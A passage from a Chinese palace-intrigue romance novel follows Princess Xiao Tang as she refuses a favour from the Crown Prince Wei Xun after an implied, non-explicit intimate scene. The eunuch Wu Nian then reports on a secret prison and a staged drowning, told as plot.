那个再字，一下子堵住了萧棠要说的所有话。 太子殿下在与她的姓事上，向来不容置喙。 从前是，今日亦然。 她低下脸，又轻轻别开。 尽管没看魏珣，她也知道魏珣正在看她。 外边还下着雨，书房里亦是。新换的外衫垫在桌案上，不出所料地再度被茶水洇湿弄脏，彻彻底底不能见人。 虽说仅一回，却极为漫长，到最后全靠魏珣伸手捞住了她，萧棠才不至于脱力地滚落到地上去。 她倚在男人怀中，魏珣抱起她，取过龙门架上的氅衣裹在她身上，用跟开始之前没什么区别的语调吩咐下人准备浴池。 若非他还搂着她，只听他那平淡的语气，萧棠真怀疑方才那锢着她的是另有其人。 这一回不一样，萧棠能察觉到，魏珣的确如他所说，有些不高兴。 命令她的语气都要冷硬些，力气……也要凶很多。 她分辨不出原因，只得轻声开口，说着先前被打断的借坡下驴：“皇兄，阿棠有一事相求。” 话本说刚下榻的男人会比平常更好说话一点，可魏珣似乎是个例外，他并未应，只是望着她。 “皇兄方才的话，阿棠铭记在心，如今双双眼睛都会盯着阿棠，阿棠不想给东宫惹麻烦。” 她铺垫了一堆他应该爱听的话，终于托出：“……吴年公公是皇兄心腹，若被人瞧见他频频私下来潇湘殿，恐怕也会惹人无端揣测。” 少女声音柔柔软软，透着挨过训的哑意。 说出的话却还是不出所料。 他心头那股莫名的不悦并非因管教过她而消失，也并未因她不知悔改而加重。 魏珣顿了顿，手指捏了下她的后颈，又松开，嗯了声。 “以后让你的侍女去东宫找他。” 萧棠猛地抬起脸：“瑞雪？” 魏珣睨着她，意味不明地反问：“你想亲自来？” 10. 第 10 章 话音甫落，少女便不假思索地道：“阿棠不敢叨扰皇兄。” 魏珣道：“孤不曾瞧出，皇妹有何不敢。” 萧棠顿了顿。 男人的语气始终太过无波无澜，听不出他是带着微末的讽意，还是单纯的陈述。 前一刻刚刚才坦白自己打听东宫之事，后一刻便这般谨小慎微，的确有几分欲拒还迎的可笑。 可这句不敢，货真价实。 东宫并不只是太子殿下的起居之处，更是国储所在。 先不说她如今已至及笄，并非可不知时事、不众位女眷顾大防的懵懂孩童。便真是十年前，那时最受宠的长宁公主都不敢随便往东宫跑呢。 身处天家，便是兄妹情深，也不能像寻常百姓那般亲密。 更别提她与魏珣之间，毫无什么兄妹情谊可言。 她既然想要抽身，就必须要遭早些跟东宫划清不该有的干系。 萧棠轻吸了口气，低下头去，柔软的声调清晰地重复道：“阿棠不敢叨扰皇兄，亦不敢让贴身的侍女出入东宫，惹来非议，还请皇兄收回成命。” 她能感觉到男人的目光静静地落在她脸上。 久居上位的人天然就有不怒自威的气场，这般毫无波澜，却叫人的心忍不住高高悬起。 屋外竹林被狂风吹得扑簌，耳边只剩下由远及近的簌簌声。 再过了一会儿，内侍叩门，恭敬地唤着殿下。 魏珣不曾应，内侍便不敢入内。 屋室内仍只有他们二人。 分明近在咫尺，分明男人的手还搂在她腰侧，却像是隔着一道无形的天堑。 许她的贴身侍女能够自由出入东宫，也许只是太子殿下的随口一说，但放眼燕京，这已经算是给她莫大的殊荣。 若是长宁公主得了这般恩宠，不知得何等兴高采烈，四处炫耀才肯罢休。 不，不止是长宁公主，任何人能够受此照拂，定然都是对太子感激涕零，诚惶诚恐。 可她拒绝得很干脆。 萧棠想，这大概很有可能是太子殿下平生头一回施恩遭人婉拒。 她其实很怕魏珣生气，可很显然，这一点小事还不值得男人动怒。 男人的脸上并无愠色，或者说什么情绪都没有，只是启唇时能听出语调比先前冷淡：“倒是孤勉强你了。” 萧棠不知如何接话，便干脆不开口了，低垂着眼，一副乖巧顺从的样子。 原本才缓和下来的气氛一瞬重新凝滞起来。 萧棠再也不敢看他，只是一直盯着地上大理石的纹路。 直到内侍又唤了一声殿下，魏珣放开她，径自离开。 脚步声远去，门却不曾合上。书房重地里不知道藏了多少秘密，魏珣默许她入内，可魏珣走后，宅邸里的仆从侍婢却万万不能放心她一个人在里面待着。 冷风灌入，吹得萧棠手指一阵冰凉。 侍女走到桌案边，贴心地拿来狐毛大氅披在她身上，又道：“姑娘，奴婢先送您回房歇息。” 萧棠也自知不能再待在此处，低低应是，跟着她头也不回地离开了书房。 连廊外一路飘雨，天上月华已被乌云遮掩，视线所及之处都似被天瀑刷洗过，黯淡模糊成一片。 只有侍女提着的灯还发着光，勉强映出前方的路。 侍女道：“吴公公说，雨下得大，姑娘还是等明日雨停后再回宫罢。” 吴年公公是太子心腹，亦是东宫最有权柄的内侍，他的吩咐，其余人都当是半个太子的命令来办。 拒绝的话到了唇边，想了想，萧棠又咽下，轻轻道：“替我向吴公公道声谢。” 就算方才她与魏珣闹得有几分不愉快，魏珣的也不至于连她在这儿多待一夜都容不下。 大雨不便行路，车夫稍有不慎便是人仰马翻，她还是不要给自己揽来祸事得好。 回到寝房中，炭火皆已备好，暖融似深春。侍女为她取下大氅，挂在一旁龙门架上，无声退下。 不过一会儿，门被叩响，来者是萧棠不曾想过的人：“吴年公公？” 少女脸上不掩惊讶。魏珣前去尚书府，她还以为吴年会随之同去，没想到他还留在这儿。 吴年作揖，主动解释道：“府中有些杂事，殿下让奴才留下来处置。” 所谓杂事，萧棠当然不会自作多情以为与她有关。 想来是刚刚那私狱中的人自杀，引出种种变故，需得吴年经手。 可若吴年有这般要紧的事，怎么还有空来找她？ 不等她问，吴年又说：“姑娘手上伤口不愈，想来是太医院寻常的药膏没有效用，殿下便命奴才取了进贡的玉女花研磨成粉，据说对女子肌肤容颜都颇有效用。” 萧棠轻蹙秀眉：“你们殿下的吩咐？” 吴年颔首，忙不迭道：“姑娘的伤，殿下可都是看在眼里的。” 萧棠却不大相信。吴年对她一直友善，从不曾说过半句刻薄的话，每回都捡着好听的说，如今也应该只是在说些善意的谎。 她歉意地朝吴年一笑：“既是进贡之物，如此贵重，我实在不敢要。” “若对姑娘的手伤有效用，便算不得贵重。奴才知道姑娘谨慎，可这花已经完全磨成了粉，就算是坤宁宫的嬷嬷来了，也瞧不出这一盒药粉有什么不同。” 吴年先说着体己话，又叹声道：“还恳请姑娘收下，别让奴才为难了。” 好的坏的都让他哪一张嘴全说了，萧棠这下不收都不行。 见她拿过药盒，吴年的脸上立即重新堆上了笑容，道：“今日雨重，殿下离了尚书府也不便再回宫，晚些还是会歇在此处，姑娘若刚刚还有什么话没来得及同殿下说，入了夜也有机会。” 他说得含蓄，可萧棠怎么会听不明白其中的意思。 这是在提醒她，虽然她刚刚惹恼了太子殿下，但也不是没有弥补的机会。 入了夜，等魏珣回来，乖乖地讨他欢心，求他原谅，太子殿下大抵懒得与她计较了。 至于讨男人欢心的手段…… 横竖不也就是那几样。 “吴公公的好意，我心领了。” 萧棠诚恳道：“只是我心惶恐，不知同殿下说什么，只想早早安寝，明日雨一停便离开此处。” 吴年不曾想她这回这般木楞，哎哟了声，语重心长地劝道，“奴才不知姑娘怎的会与殿下起了龃龉，但姑娘是不知道，太子近日席不暇暖，就连今日见姑娘的时辰，都是从百忙之中抽出来的空闲。” 萧棠不作声。 “……过了今夜，殿下一日万机，后头还要离京几日。姑娘就是想见殿下，也难再见上。就算奴才能替潇湘殿捎口信，也比不上姑娘亲自同殿下说，您说是这个道理吧？” 这么大段话，萧棠却只听见了半句：“他要离京？” 这消息不为外人道，但吴年十分爽快地都告诉了她：“下月中旬，殿下要按惯例替陛下前往皇寺，耽搁上几日，前前后后亦要再准备几日，便拢共算是半月的功夫了。” 他告诉萧棠，显然是想让萧棠知晓，两人这段时日能再见的机会已然不多。 可萧棠只听进去了一件事—— 下月中旬，她生辰前后，魏珣不在燕京城中！ 而且皇寺僻静，不得为外人扰，许多消息都传不进去。 那岂不是说，若她有意在魏珣离京那几日筹谋，便完全可以先斩后奏了。 这天大的巧合砸得她有些晕头转向，可无论心头再如何惊涛骇浪，萧棠表面也丝毫不显，只说：“谢公公相告。” 少女声音柔婉，可看样子，似乎并没有将他的规劝听进去。 吴年心头暗叹一声，只得道：“姑娘好生歇息，奴才先行告退。” 除开淳和公主这档子事，他的确还有正事要办。 私狱从来不无缘无故审无罪之人。那死了的林少卿是太子党羽中的奸细，就是严刑拷打了他才知道，誉王与先前 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却也只是一眼而已。 男人很快便收回目光，不冷不热地朝吴年道：“市井小道，以后不必再呈。” 吴年的脑袋低得快埋到地上去了：“奴才知错。” 那上头除了晏何修的父母兄弟姊妹家世等等，还特地附了一段逸闻，说晏公子至今不曾娶妻，是因其为人凶神恶煞，家中曾为他安排过一位未婚妻，他却三言两语说哭了那姑娘，害得人夺门而出。 自此后传出恶名，独身两年至今。 太子殿下忽地叫他去查晏家人，吴年琢磨半晌了男人的心思，特地让人附上这么一段，令太子殿下放心。。 结果看样子，他好像是弄巧成拙了。 好在太子没有训斥他，揭过此事，吴年又道：“尸首已在护城河中，明日一早，便安排卫兵发现少卿失足坠河。” 一具面目全非，却携带少卿官印的尸首，衙门说是谁就是谁，说怎么结案就怎么结案。 誉王哪怕猜出几分，也忌惮东宫抖出他与外邦勾结的事，不敢有什么动作。 此事就此即可完满了结。 唯一一处意外，便是吴年也不曾料到，太子殿下会默许，甚至有意让淳和公主瞧见这处私狱。 他将先前与萧棠的对话一一托出，想起少女难得的追问，着重道：“公主还特地细问了殿下日后行程。” 魏珣看着邸报，也不知有没有在听他禀报。 也不知淳和公主怎的忽然犯了倔，竟这点头也不肯低。吴年一想到此事，便只觉头大。 没有计较她先前的错，反倒允许潇湘殿的侍女自由出入东宫。 这样的厚待，连普通的东宫辅臣都不一定有，淳和公主却一口回绝。 看她的反应不像是不惦念太子，反倒像是…… 太惦念太子殿下，以至于不满足只是侍女能去东宫找他。 而是想要亲自去东宫找太子殿下。 从前当真没有瞧出，淳和公主还有这般僭越的心思。 吴年：“奴才看这雨恐怕要到晌午过后才停，殿下若在此用午膳，那……” 不如他去把淳和公主请过来一起用膳。 后半句不曾说出口，男人便轻飘飘瞥来一眼。 吴年立即正色，低下头去，不敢再说话。 魏珣很少发火，就算怒极也不曾生愠。 如今这幅冷淡神情，已说明他对淳和公主的行径有些不悦了。 若是从前，吴年别说想留萧棠一起用膳，最该做的就是赶紧命人把淳和公主打发回去。 只是…… 吴年不着痕迹地瞥向书房后暗门的轮廓。 这处私狱，还不曾有东宫外的人知晓。 或者换句话说。 知晓此处的人，都离不得东宫。